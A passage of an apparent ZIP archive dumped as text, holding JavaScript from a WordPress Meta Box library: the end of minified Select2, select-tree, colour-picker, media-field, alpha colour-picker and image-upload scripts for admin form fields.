n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===r.ESC||t===r.TAB||t===r.UP&&e.altKey?(n.close(),e.preventDefault()):t===r.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===r.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===r.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===r.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===r.ENTER||t===r.SPACE||t===r.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._syncSubtree=function(e,t){var n=!1,r=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length&&(n=!0);else n=!0;n&&this.dataAdapter.current(function(e){r.trigger("selection:update",{data:e})})}},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,r={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in r){var i=r[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.trigger("query",{})},d.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];i.isArray(t)&&(t=i.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=i('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("jquery-mousewheel",["jquery"],function(e){return e}),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(i,e,o,t,s){if(null==i.fn.select2){var a=["open","close","destroy"];i.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new o(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,r=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,r)}),-1<i.inArray(t,a)?this:n}}return null==i.fn.select2.defaults&&(i.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return u.fn.select2.amd=e,t});PK     N\h    ,  inc/dashboard/lib/meta-box/js/select-tree.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setInitialRequiredProp() {
		var $this = $( this ),
			required = $this.prop( 'required' );

		if ( required ) {
			$this.data( 'initial-required', required );
		}
	}

	function unsetRequiredProp() {
		$( this ).prop( 'required', false );
	}

	function setRequiredProp() {
		var $this = $( this );

		if ( $this.data( 'initial-required' ) ) {
			$this.prop( 'required', true );
		}
	}

	function toggleTree() {
		var $this = $( this ),
			val = $this.val(),
			$tree = $this.siblings( '.rwmb-select-tree' ),
			$selected = $tree.filter( "[data-parent-id='" + val + "']" ),
			$notSelected = $tree.not( $selected );

		$selected.removeClass( 'hidden' ).find( 'select' ).each( setRequiredProp );
		$notSelected.addClass( 'hidden' ).find( 'select' ).each( unsetRequiredProp ).prop( 'selectedIndex', 0 );
	}

	function instantiateSelect2() {
		var $this = $( this ),
			options = $this.data( 'options' );

		$this
			.removeClass( 'select2-hidden-accessible' ).removeAttr( 'data-select2-id' )
			.children().removeAttr( 'data-select2-id' ).end()
			.siblings( '.select2-container' ).remove().end()
			.select2( options );

		toggleTree.call( this );
	}

	function init( e ) {
		var $select = $( e.target ).find( '.rwmb-select-tree > select' );

		$select.each ( setInitialRequiredProp );
		$select.each( function() {
			const $this = $( this ),
				options = $this.data( 'options' );

			$this.select2( options );
		} );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-select-tree > select', toggleTree )
		.on( 'clone', '.rwmb-select-tree > select', instantiateSelect2 );
} )( jQuery, rwmb );
PK     N\lL[V    &  inc/dashboard/lib/meta-box/js/color.jsnu [        ( function( $, rwmb ) {
	'use strict';

	/**
	 * Transform an input into a color picker.
	 */
	function transform() {

		if ( $( this ).data( 'options' ) == undefined ) {
			return;
		}

		const $this = $( this );
		const mode = $this.data( 'options' )[ 'mode' ];
		const alpha = $this.data( 'alpha-enabled' );

		function initChange() {
			if ( null !== mode && 'hex' !== mode && !alpha ) {
				const color = new Color( $this.iris( 'option', 'color' ) );
				$this.val( color.toCSS( mode ) );
			}
			triggerChange();
		}

		function triggerChange() {
			$this.trigger( 'color:change' ).trigger( 'mb_change' );
		}

		const $container = $this.closest( '.wp-picker-container' ),
			// Hack: the picker needs a small delay (learn from the Kirki plugin).
			options = $.extend(
				{
					change: function() {
						setTimeout( initChange, 20 );
					},
					clear: function() {
						setTimeout( triggerChange, 20 );
					}
				},
				$this.data( 'options' )
			);

		// Clone doesn't have input for color picker, we have to add the input and remove the color picker container
		if ( $container.length > 0 ) {
			$this.insertBefore( $container );
			$container.remove();
		}

		// Show color picker.
		$this.wpColorPicker( options );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-color' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-color', transform );
} )( jQuery, rwmb );
PK     N\7=  =  &  inc/dashboard/lib/meta-box/js/media.jsnu [        ( function ( $, wp, _, rwmb, i18n ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		models = rwmb.models = rwmb.models || {},
		media = wp.media,
		MediaFrame = media.view.MediaFrame,
		MediaCollection, Controller, MediaField, MediaList, MediaItem, MediaButton, MediaStatus, EditMedia,
		MediaDetails, MediaLibrary, MediaSelect;

	MediaCollection = Backbone.Collection.extend( {
		model: wp.media.model.Attachment,

		initialize: function ( models, options ) {
			this.controller = options.controller || new models.Controller;
			this.on( 'add remove reset', function () {
				var max = this.controller.get( 'maxFiles' );
				this.controller.set( 'length', this.length );
				this.controller.set( 'full', max > 0 && this.length >= max );
			} );
		},

		add: function ( models, options ) {
			var max = this.controller.get( 'maxFiles' ),
				left = max - this.length;

			if ( ! models || ( max > 0 && left <= 0 ) ) {
				return this;
			}
			if ( ! models.hasOwnProperty( 'length' ) ) {
				models = [models];
			} else if ( models instanceof media.model.Attachments ) {
				models = models.models;
			}

			models = _.difference( models, this.models );
			if ( left > 0 ) {
				models = _.first( models, left );
			}

			Backbone.Collection.prototype.add.call( this, models, options );
		},

		remove: function ( models, options ) {
			// Don't remove models if event is not fired from MB plugin.
			if( ! $( event.target ).closest( '.rwmb-field, [data-class="rwmb-field"]' ).length ) {
				return;
			}
			models = Backbone.Collection.prototype.remove.call( this, models, options );
			if ( this.controller.get( 'forceDelete' ) === true ) {
				models = ! _.isArray( models ) ? [models] : models;
				_.each( models, function ( model ) {
					model.destroy();
				} );
			}
		},

		destroyAll: function () {
			_.each( _.clone( this.models ), function ( model ) {
				model.destroy();
			} );
		}
	} );

	/***
	 * Controller Model
	 * Manages data of media field and media models.  Most of the media views will use this to manage the media
	 */
	Controller = models.Controller = Backbone.Model.extend( {
		//Default options
		defaults: {
			maxFiles: 0,
			ids: [],
			mimeType: '',
			forceDelete: false,
			maxStatus: true,
			length: 0
		},

		//Initialize Controller model
		initialize: function () {
			// All numbers, no 0 ids
			this.set( 'ids', _.without( _.map( this.get( 'ids' ), Number ), 0, - 1 ) );

			// Create items collection
			this.set( 'items', new MediaCollection( [], {controller: this} ) );

			// Listen for destroy event on controller, delete all models when triggered
			this.on( 'destroy', function () {
				if ( this.get( 'forceDelete' ) ) {
					this.get( 'items' ).destroyAll();
				}
			} );
		}
	} );

	/***
	 * MediaField
	 * Sets up media field view and subviews
	 */
	MediaField = views.MediaField = Backbone.View.extend( {
		className: 'rwmb-media-view',
		initialize: function ( options ) {
			var that = this,
				fieldName = options.input.name;
			this.$input = $( options.input );

			if ( 1 != this.$input.attr( 'data-single-image' ) ) {
				fieldName += '[]';
			}

			this.controller = new Controller( _.extend(
				{
					fieldName: fieldName,
					ids: this.$input.val().split( ',' )
				},
				this.$input.data( 'options' )
			) );

			// Create views
			this.createList();
			this.createAddButton();
			this.createStatus();

			this.render();
			this.loadInitialAttachments();

			// Listen for destroy event on input
			this.$input.on( 'remove', function () {
				that.controller.destroy();
			} );

			var collection = this.controller.get( 'items' );
			this.$input.on( 'media:reset', function() {
				collection.reset();
			} );

			collection.on( 'all', _.debounce( function() {
				var ids = collection.pluck( 'id' ).join( ',' );
				that.$input.val( ids ).trigger( 'change', [that.$( '.rwmb-media-input' )] );
			}, 500 ) );
		},

		loadInitialAttachments: function () {
			if ( ! this.$input.val() ) {
				return;
			}
			var models = this.$input.data( 'attachments' ).map( function( attachment ) {
				return wp.media.model.Attachment.create( attachment );
			} );
			this.controller.get( 'items' ).add( models );
		},

		// Creates media list
		createList: function () {
			this.list = new MediaList( {controller: this.controller} );
		},

		// Creates button that adds media
		createAddButton: function () {
			this.addButton = new MediaButton( {controller: this.controller} );
		},

		// Creates status
		createStatus: function () {
			this.status = new MediaStatus( {controller: this.controller} );
		},

		// Render field and adds sub fields
		render: function () {
			// Empty then add parts
			this.$el.empty().append(
				this.list.el,
				this.status.el,
				this.addButton.el
			);
		}
	} );

	/***
	 * Media List
	 * lists media
	 */
	MediaList = views.MediaList = Backbone.View.extend( {
		tagName: 'ul',
		className: 'rwmb-media-list',

		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );
			this.itemView = options.itemView || MediaItem;
			this.getItemView = _.memoize( function ( item ) {
					var itemView = new this.itemView( {
						model: item,
						controller: this.controller
					} );

					this.listenToItemView( itemView );

					return itemView;
				},
				function ( item ) {
					return item.cid;
				}
			);

			this.listenTo( this.collection, 'add', this.addItemView );
			this.listenTo( this.collection, 'remove', this.removeItemView );
			this.listenTo( this.collection, 'reset', this.resetItemViews );

			// Sort items using helper 'clone' to prevent trigger click on the image, which means reselect.
			this.$el.sortable( {
				helper : 'clone',
				start: function ( event, ui ) {
					ui.placeholder.height( ui.helper.outerHeight() );
					ui.placeholder.width( ui.helper.outerWidth() );
				},
				update: function( event, ui ) {
					ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
				}
			} );
		},

		listenToItemView: function ( itemView ) {
			this.listenTo( itemView, 'click:remove', this.removeItem );
			this.listenTo( itemView, 'click:switch', this.switchItem );
			this.listenTo( itemView, 'click:edit', this.editItem );
		},

		addItemView: function ( item ) {
			var index = this.collection.indexOf( item ),
				itemEl = this.getItemView( item ).el,
				$children = this.$el.children();

			if ( 0 >= index ) {
				this.$el.prepend( itemEl );
			} else if ( $children.length <= index ) {
				this.$el.append( itemEl )
			} else {
				$children.eq( index - 1 ).after( itemEl );
			}
		},

		// Remove item view
		removeItemView: function ( item ) {
			this.getItemView( item ).$el.detach();
		},

		removeItem: function ( item ) {
			this.collection.remove( item );
		},

		resetItemViews: function( items ){
			var that = this;
			_.each( that.models, that.removeItemView );
			items.each( that.addItemView );
		},

		switchItem: function ( item ) {
			if ( this._switchFrame ) {
				this._switchFrame.dispose();
			}
			this._switchFrame = new MediaSelect( {
				multiple: false,
				editing: true,
				library: {
					type: this.controller.get( 'mimeType' )
				},
				edit: this.collection
			} );

			// Refresh content when frame opens
			this._switchFrame.on( 'open', function() {
				var frameContent = this._switchFrame.content.get();
				if ( frameContent && frameContent.collection ) {
					frameContent.collection.mirroring._hasMore = true;
					frameContent.collection.more();
				}
			}, this );

			this._switchFrame.on( 'select', function () {
				var selection = this._switchFrame.state().get( 'selection' ),
					collection = this.collection,
					index = collection.indexOf( item );

				if ( ! _.isEmpty( selection ) ) {
					collection.remove( item );
					collection.add( selection, {at: index} );
				}
			}, this );

			this._switchFrame.open();
			return false;
		},

		editItem: function ( item ) {
			if ( this._editFrame ) {
				this._editFrame.dispose();
			}

			// Trigger the media frame to open the correct item.
			this._editFrame = new EditMedia( {
				frame: 'edit-attachments',
				controller: {
					gridRouter: new wp.media.view.MediaFrame.Manage.Router()
				},
				library: this.collection,
				model: item
			} );

			this._editFrame.open();
		}
	} );

	/***
	 * MediaStatus view.
	 * Show number of selected/uploaded files and number of files remain if "maxStatus" parameter is true.
	 */
	MediaStatus = views.MediaStatus = Backbone.View.extend( {
		tagName: 'div',
		className: 'rwmb-media-status',
		template: wp.template( 'rwmb-media-status' ),

		initialize: function ( options ) {
			this.controller = options.controller;

			// Auto hide if maxStatus is false
			if ( ! this.controller.get( 'maxStatus' ) ) {
				this.$el.hide();
				return;
			}

			// Re-render if changes happen in controller
			this.listenTo( this.controller.get( 'items' ), 'update', this.render );
			this.listenTo( this.controller.get( 'items' ), 'reset', this.render );

			// Render
			this.render();
		},

		render: function () {
			this.$el.html( this.template( this.controller.toJSON() ) );
		}
	} );

	/***
	 * Media Button
	 * Selects and adds media to controller
	 */
	MediaButton = views.MediaButton = Backbone.View.extend( {
		tagName: 'div',
		className: 'rwmb-media-add',
		template: wp.template( 'rwmb-media-button' ),
		events: {
			'click .button': function () {
				if ( this._frame ) {
					this._frame.dispose();
				}
				var maxFiles = this.controller.get( 'maxFiles' );
				this._frame = new MediaSelect( {
					multiple: maxFiles > 1 || maxFiles <= 0 ? 'add' : false,
					editing: true,
					library: {
						type: this.controller.get( 'mimeType' )
					},
					edit: this.collection
				} );

				// Refresh content when frame opens
				this._frame.on( 'open', function() {
					var frameContent = this._frame.content.get();
					if ( frameContent && frameContent.collection ) {
						frameContent.collection.mirroring._hasMore = true;
						frameContent.collection.more();
					}
				}, this );

				this._frame.on( 'select', function () {
					var selection = this._frame.state().get( 'selection' );
					if ( this.controller.get( 'addTo' ) === 'beginning' ) {
						this.collection.add( selection.models, {at: 0} );
					} else {
						this.collection.add( selection.models );
					}
				}, this );

				this._frame.open();
			}
		},
		render: function () {
			this.$el.html( this.template( {text: i18n.add} ) );
			return this;
		},

		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );

			// Auto hide if you reach the max number of media
			this.listenTo( this.controller, 'change:full', function () {
				this.$el.toggle( ! this.controller.get( 'full' ) );
			} );

			this.render();
		}
	} );

	/***
	 * MediaItem
	 * View for individual media items
	 */
	MediaItem = views.MediaItem = Backbone.View.extend( {
		tagName: 'li',
		className: 'rwmb-file',
		template: wp.template( 'rwmb-media-item' ),
		initialize: function ( options ) {
			this.controller = options.controller;
			this.collection = this.controller.get( 'items' );
			this.render();
			this.listenTo( this.model, 'change', this.render );

			this.$el.data( 'id', this.model.cid );
		},

		events: {
			'click .rwmb-image-overlay': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:switch', this.model );
			},
			'click .rwmb-remove-media': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:remove', this.model );
			},
			'click .rwmb-edit-media': function ( e ) {
				e.preventDefault();
				this.trigger( 'click:edit', this.model );
			}
		},

		render: function () {
			var data = this.model.toJSON();
			data.controller = this.controller.toJSON();
			this.$el.html( this.template( data ) );
			return this;
		}
	} );

	/**
	 * Extend media frames to make things work right
	 */

	/**
	 * MediaDetails
	 * Custom version of TwoColumn view to prevent all video and audio from being unset
	 */
	MediaDetails = views.MediaDetails = media.view.Attachment.Details.TwoColumn.extend( {
		render: function () {
			var that = this;
			media.view.Attachment.Details.prototype.render.apply( this, arguments );
			this.players = this.players || [];

			media.mixin.unsetPlayers.call( this );

			this.$( 'audio, video' ).each( function ( i, elem ) {
				var el = media.view.MediaDetails.prepareSrc( elem );
				that.players.push( new window.MediaElementPlayer( el, media.mixin.mejsSettings ) );
			} );
		}
	} );

	/**
	 * MediaLibrary
	 * Custom version of Library to exclude already selected media in a media frame
	 */
	MediaLibrary = media.controller.Library.extend( {
		defaults: _.defaults( {
			multiple: 'add',
			filterable: 'all',
			priority: 100,
			syncSelection: false
		}, media.controller.Library.prototype.defaults ),

		activate: function () {
			var library = this.get( 'library' ),
				edit = this.frame.options.edit;

			if ( this.editLibrary && this.editLibrary !== edit ) {
				library.unobserve( this.editLibrary );
			}

			// Accepts attachments that exist in the original library and
			// that do not exist in gallery's library.
			library.validator = function ( attachment ) {
				return ! ! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && media.model.Selection.prototype.validator.apply( this, arguments );
			};

			// Reset the library to ensure that all attachments are re-added
			// to the collection. Do so silently, as calling `observe` will
			// trigger the `reset` event.
			library.reset( library.mirroring.models, {silent: true} );
			library.observe( edit );
			this.editLibrary = edit;

			media.controller.Library.prototype.activate.apply( this, arguments );
		}
	} );

	/**
	 * MediaSelect
	 * Custom version of Select media frame that uses  MediaLibrary
	 */
	MediaSelect = views.MediaSelect = MediaFrame.Select.extend( {
		/**
		 * Create the default states on the frame.
		 */
		createStates: function () {
			var options = this.options;

			// Add reference so we know MediaFrame belongs to MB plugin.
			this.$el.attr( 'data-class', 'rwmb-field' );

			if ( this.options.states ) {
				return;
			}

			// Add the default states.
			this.states.add( [
				// Main states.
				new MediaLibrary( {
					library: media.query( options.library ),
					multiple: options.multiple,
					priority: 20
				} )
			] );
		}
	} );

	/***
	 * EditMedia
	 * Custom version of EditAttachments frame to prevent all video and audio from being unset
	 */
	EditMedia = views.EditMedia = MediaFrame.EditAttachments.extend( {
		/**
		 * Content region rendering callback for the `edit-metadata` mode.
		 *
		 * @param {Object} contentRegion Basic object with a `view` property, which
		 *                               should be set with the proper region view.
		 */
		editMetadataMode: function ( contentRegion ) {
			contentRegion.view = new MediaDetails( {
				controller: this,
				model: this.model
			} );

			/**
			 * Attach a subview to display fields added via the
			 * `attachment_fields_to_edit` filter.
			 */
			contentRegion.view.views.set( '.attachment-compat', new media.view.AttachmentCompat( {
				controller: this,
				model: this.model
			} ) );
		},
		resetRoute: function() {}
	} );

	function initMediaField() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new MediaField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-file_advanced' ).each( initMediaField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-file_advanced', initMediaField );
} )( jQuery, wp, _, rwmb, i18nRwmbMedia );
PK     N\!lu  u  P  inc/dashboard/lib/meta-box/js/wp-color-picker-alpha/wp-color-picker-alpha.min.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 3.0.0
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license or later.
 */
!function ( e, a ) { var l, o = { version: 300 }; if ( "wpColorPickerAlpha" in window && "version" in window.wpColorPickerAlpha ) { var t = parseInt( window.wpColorPickerAlpha.version, 10 ); if ( !isNaN( t ) && o.version <= t ) return; } Color.fn.hasOwnProperty( "to_s" ) || ( Color.fn.to_s = function ( o ) { "hex" === ( o = o || "hex" ) && this._alpha < 1 && ( o = "rgba" ); var a = ""; return "hex" === o ? a = this.toString() : this.error || ( a = this.toCSS( o ).replace( /\(\s+/, "(" ).replace( /\s+\)/, ")" ) ), a; }, window.wpColorPickerAlpha = o, l = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==", e.widget( "a8c.iris", e.a8c.iris, { alphaOptions: { alphaEnabled: !1 }, _getColor: function ( o ) { return o === a && ( o = this._color ), this.alphaOptions.alphaEnabled ? ( o = o.to_s( this.alphaOptions.alphaColorType ), this.alphaOptions.alphaColorWithSpace || ( o = o.replace( /\s+/g, "" ) ), o ) : o.toString(); }, _create: function () { try { this.alphaOptions = this.element.wpColorPicker( "instance" ).alphaOptions; } catch ( o ) { } e.extend( {}, this.alphaOptions, { alphaEnabled: !1, alphaCustomWidth: 130, alphaReset: !1, alphaColorType: "hex", alphaColorWithSpace: !1 } ), this._super(); }, _addInputListeners: function ( i ) { function o( o ) { var a = i.val(), t = new Color( a ), a = a.replace( /^(#|(rgb|hsl)a?)/, "" ), r = l.alphaOptions.alphaColorType; i.removeClass( "iris-error" ), t.error ? "" !== a && i.addClass( "iris-error" ) : "hex" === r && "keyup" === o.type && a.match( /^[0-9a-fA-F]{3}$/ ) || t.toIEOctoHex() !== l._color.toIEOctoHex() && l._setOption( "color", l._getColor( t ) ); } var l = this; i.on( "change", o ).on( "keyup", l._debounce( o, 100 ) ), l.options.hide && i.one( "focus", function () { l.show(); } ); }, _initControls: function () { var t, o, a, r; this._super(), this.alphaOptions.alphaEnabled && ( a = ( o = ( t = this ).controls.strip.clone( !1, !1 ) ).find( ".iris-slider-offset" ), r = { stripAlpha: o, stripAlphaSlider: a }, o.addClass( "iris-strip-alpha" ), a.addClass( "iris-slider-offset-alpha" ), o.appendTo( t.picker.find( ".iris-picker-inner" ) ), e.each( r, function ( o, a ) { t.controls[ o ] = a; } ), t.controls.stripAlphaSlider.slider( { orientation: "vertical", min: 0, max: 100, step: 1, value: parseInt( 100 * t._color._alpha ), slide: function ( o, a ) { t.active = "strip", t._color._alpha = parseFloat( a.value / 100 ), t._change.apply( t, arguments ); } } ) ); }, _dimensions: function ( o ) { if ( this._super( o ), this.alphaOptions.alphaEnabled ) { for ( var a = this, t = a.options, r = a.controls.square, o = a.picker.find( ".iris-strip" ), i = Math.round( a.picker.outerWidth( !0 ) - ( t.border ? 22 : 0 ) ), l = Math.round( r.outerWidth() ), e = Math.round( ( i - l ) / 2 ), s = Math.round( e / 2 ), n = Math.round( l + 2 * e + 2 * s ); i < n; )e = Math.round( e - 2 ), s = Math.round( s - 1 ), n = Math.round( l + 2 * e + 2 * s ); r.css( "margin", "0" ), o.width( e ).css( "margin-left", s + "px" ); } }, _change: function () { var o, a, t, r = this, i = r.active; r._super(), r.alphaOptions.alphaEnabled && ( o = r.controls, a = parseInt( 100 * r._color._alpha ), t = [ "rgb(" + ( t = r._color.toRgb() ).r + "," + t.g + "," + t.b + ") 0%", "rgba(" + t.r + "," + t.g + "," + t.b + ", 0) 100%" ], r.picker.closest( ".wp-picker-container" ).find( ".wp-color-result" ), r.options.color = r._getColor(), o.stripAlpha.css( { background: "linear-gradient(to bottom, " + t.join( ", " ) + "), url(" + l + ")" } ), i && o.stripAlphaSlider.slider( "value", a ), r._color.error || r.element.removeClass( "iris-error" ).val( r.options.color ), r.picker.find( ".iris-palette-container" ).on( "click.palette", ".iris-palette", function () { var o = e( this ).data( "color" ); r.alphaOptions.alphaReset && ( r._color._alpha = 1, o = r._getColor() ), r._setOption( "color", o ); } ) ); }, _paintDimension: function ( o, a ) { var t = this, r = !1; t.alphaOptions.alphaEnabled && "strip" === a && ( r = t._color, t._color = new Color( r.toString() ), t.hue = t._color.h() ), t._super( o, a ), r && ( t._color = r ); }, _setOption: function ( o, a ) { var t = this; if ( "color" !== o || !t.alphaOptions.alphaEnabled ) return t._super( o, a ); a = "" + a, newColor = new Color( a ).setHSpace( t.options.mode ), newColor.error || t._getColor( newColor ) === t._getColor() || ( t._color = newColor, t.options.color = t._getColor(), t.active = "external", t._change() ); }, color: function ( o ) { return !0 === o ? this._color.clone() : o === a ? this._getColor() : void this.option( "color", o ); } } ), e.widget( "wp.wpColorPicker", e.wp.wpColorPicker, { alphaOptions: { alphaEnabled: !1 }, _getAlphaOptions: function () { var r = this.element, o = r.data( "type" ) || this.options.type, i = r.data( "defaultColor" ) || r.val(), l = { alphaEnabled: r.data( "alphaEnabled" ) || !1, alphaCustomWidth: 130, alphaReset: !1, alphaColorType: "rgb", alphaColorWithSpace: !1 }; return l.alphaEnabled && ( l.alphaEnabled = r.is( "input" ) && "full" === o ), l.alphaEnabled && ( l.alphaColorWithSpace = i && i.match( /\s/ ), e.each( l, function ( o, a ) { var t = r.data( o ) || a; switch ( o ) { case "alphaCustomWidth": t = t ? parseInt( t, 10 ) : 0, t = isNaN( t ) ? a : t; break; case "alphaColorType": t.match( /^(hex|(rgb|hsl)a?)$/ ) || ( t = i && i.match( /^#/ ) ? "hex" : i && i.match( /^hsla?/ ) ? "hsl" : a ); break; default: t = !!t; }l[ o ] = t; } ) ), l; }, _create: function () { e.support.iris && ( this.alphaOptions = this._getAlphaOptions(), this._super() ); }, _addListeners: function () { if ( !this.alphaOptions.alphaEnabled ) return this._super(); var t = this, r = t.element, i = t.toggler.is( "a" ); this.alphaOptions.defaultWidth = r.width(), this.alphaOptions.alphaCustomWidth && r.width( parseInt( this.alphaOptions.defaultWidth + this.alphaOptions.alphaCustomWidth, 10 ) ), t.toggler.css( { position: "relative", "background-image": "url(" + l + ")" } ), i ? t.toggler.html( '<span class="color-alpha" />' ) : t.toggler.append( '<span class="color-alpha" />' ), t.colorAlpha = t.toggler.find( "span.color-alpha" ).css( { width: "30px", height: "100%", position: "absolute", top: 0, "background-color": r.val() } ), "ltr" === t.colorAlpha.css( "direction" ) ? t.colorAlpha.css( { "border-bottom-left-radius": "2px", "border-top-left-radius": "2px", left: 0 } ) : t.colorAlpha.css( { "border-bottom-right-radius": "2px", "border-top-right-radius": "2px", right: 0 } ), r.iris( { change: function ( o, a ) { t.colorAlpha.css( { "background-color": a.color.to_s( t.alphaOptions.alphaColorType ) } ), e.isFunction( t.options.change ) && t.options.change.call( this, o, a ); } } ), t.wrap.on( "click.wpcolorpicker", function ( o ) { o.stopPropagation(); } ), t.toggler.click( function () { t.toggler.hasClass( "wp-picker-open" ) ? t.close() : t.open(); } ), r.change( function ( o ) { var a = e( this ).val(); ( r.hasClass( "iris-error" ) || "" === a || a.match( /^(#|(rgb|hsl)a?)$/ ) ) && ( i && t.toggler.removeAttr( "style" ), t.colorAlpha.css( "background-color", "" ), e.isFunction( t.options.clear ) && t.options.clear.call( this, o ) ); } ), t.button.click( function ( o ) { e( this ).hasClass( "wp-picker-default" ) ? r.val( t.options.defaultColor ).change() : e( this ).hasClass( "wp-picker-clear" ) && ( r.val( "" ), i && t.toggler.removeAttr( "style" ), t.colorAlpha.css( "background-color", "" ), e.isFunction( t.options.clear ) && t.options.clear.call( this, o ), r.trigger( "change" ) ); } ); } } ) ); }( jQuery );
PK     N\h4    -  inc/dashboard/lib/meta-box/js/image-upload.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		ImageField = views.ImageField,
		ImageUploadField,
		UploadButton = views.UploadButton;

	ImageUploadField = views.ImageUploadField = ImageField.extend( {
		createAddButton: function () {
			this.addButton = new UploadButton( {controller: this.controller} );
		}
	} );

	function initImageUpload() {
